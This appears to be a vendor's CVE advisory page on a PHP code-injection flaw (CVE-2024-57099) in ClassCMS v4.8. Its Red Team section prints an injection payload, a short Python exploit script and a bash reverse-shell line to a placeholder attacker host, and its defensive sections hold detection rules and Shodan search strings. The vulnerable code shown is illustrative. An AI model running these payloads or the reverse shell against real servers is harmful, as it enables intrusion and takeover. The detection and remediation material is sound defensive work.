☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-57099

CVE-2024-57099 Code Execution in Classcms
📅 PUBLISHED: 2025-02-03 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.17%
👁️
1.17% probability
29.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-57099 is a critical code execution vulnerability in ClassCMS v4.8. The flaw resides in the classview parameter of the model management feature, allowing an unauthenticated attacker to inject and execute arbitrary PHP code. Successful exploitation leads to full server compromise, including data exfiltration, lateral movement, and persistent backdoor installation. No official patch is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ClassCMS is a PHP-based content management system. The vulnerability is in the core application code, not in a third-party package. However, administrators should audit any custom modules or plugins for similar injection points.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is estimated:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Exploitation is trivial and leads to complete system takeover.

Deep Dive & Mechanics

The vulnerability is a classic PHP code injection (CWE-94). The classview parameter in the model management feature is passed directly to a function like eval() or include() without proper sanitization. An attacker can craft a payload such as:

system('id');

This payload, when injected into the classview parameter, will be executed by the PHP interpreter, allowing the attacker to run arbitrary system commands.

Root Cause: Lack of input validation and the use of dangerous PHP functions that evaluate user-supplied input as code.

Vulnerable vs. Patched Code

Vulnerable Code (ClassCMS v4.8):

// In model management controller
$classview = $_GET['classview'];
eval($classview); // Direct evaluation of user input

Patched Code (Hypothetical):

// In model management controller
$classview = $_GET['classview'];
// Whitelist allowed values or use a safe alternative
$allowed_views = ['list', 'edit', 'delete'];
if (in_array($classview, $allowed_views)) {
    // Proceed with safe operation
} else {
    die('Invalid view');
}

The patched version validates the input against a whitelist, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running ClassCMS v4.8
  • Network access to the admin panel or model management endpoint

Exploit Steps:

  1. Identify the vulnerable endpoint: /admin/model.php?classview=
  2. Craft a payload to execute system commands:
    system('id');
    
  3. URL-encode the payload and send the request:
    GET /admin/model.php?classview=system('id'); HTTP/1.1
    Host: target.com
    
  4. Observe the output of the id command in the response.
  5. For a reverse shell, use:
    system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
    

Full Exploit Script (Python):

import requests

target = "http://target.com/admin/model.php"
payload = "system('id');"
params = {'classview': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection:

  • Monitor for requests to /admin/model.php with unusual classview parameters.
  • Look for PHP function names like system, exec, shell_exec, passthru, eval, assert in GET/POST parameters.
  • Alert on any outbound connections from the web server to unknown IPs on high ports (e.g., 4444).

Hunting:

  • Search web server logs for patterns like classview=system( or classview=eval(.
  • Check for recently created files in the web root (e.g., shell.php, cmd.php).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /admin/model.php with classview parameter containing PHP code.
  • Outbound connections from the web server to attacker-controlled IPs on ports 80, 443, or 4444.

File System IOCs:

  • Presence of webshells in the web root (e.g., shell.php, cmd.php, backdoor.php).
  • Modified or new files in the /admin/ directory.
  • Unusual entries in PHP error logs indicating eval() or system() calls.

Process IOCs:

  • Web server processes spawning child processes like bash, sh, nc, python.

Detection Engineering

YARA Rule

rule CVE_2024_57099_ClassCMS_CodeInjection {
    meta:
        description = "Detects ClassCMS code injection attempts via classview parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57099"
    strings:
        $classview = "classview="
        $php_func1 = "system("
        $php_func2 = "exec("
        $php_func3 = "shell_exec("
        $php_func4 = "passthru("
        $php_func5 = "eval("
        $php_func6 = "assert("
    condition:
        $classview and any of ($php_func*)
}

Sigma Rule

title: ClassCMS Code Injection via classview Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-57099 by injecting PHP code into the classview parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'classview='
        cs-uri-query|contains|all:
            - 'system('
            - 'exec('
            - 'shell_exec('
            - 'passthru('
            - 'eval('
            - 'assert('
    condition: selection
falsepositives:
    - Legitimate use of these functions in custom code (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57099 ClassCMS Code Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/model.php"; http_uri; content:"classview="; http_uri; pcre:"/classview=(system|exec|shell_exec|passthru|eval|assert)\(/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected server from the network.
  2. Review web server logs for signs of exploitation.
  3. Remove any webshells or unauthorized files.

Long-term Fix:

  • Since no official patch exists, apply the following manual fix:
    • In the model management controller, replace eval() with a whitelist-based approach.
    • Sanitize all user inputs using filter_input() or htmlspecialchars().
    • Disable dangerous PHP functions in php.ini:
      disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
      

Workaround:

  • Restrict access to /admin/model.php using .htaccess:
    <Files "model.php">
        Require ip 192.168.1.0/24
    </Files>
    

Monitoring:

  • Deploy the provided YARA, Sigma, and Suricata rules.
  • Enable detailed logging for all web requests.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

classcms
classcms v4.8

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-57099/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.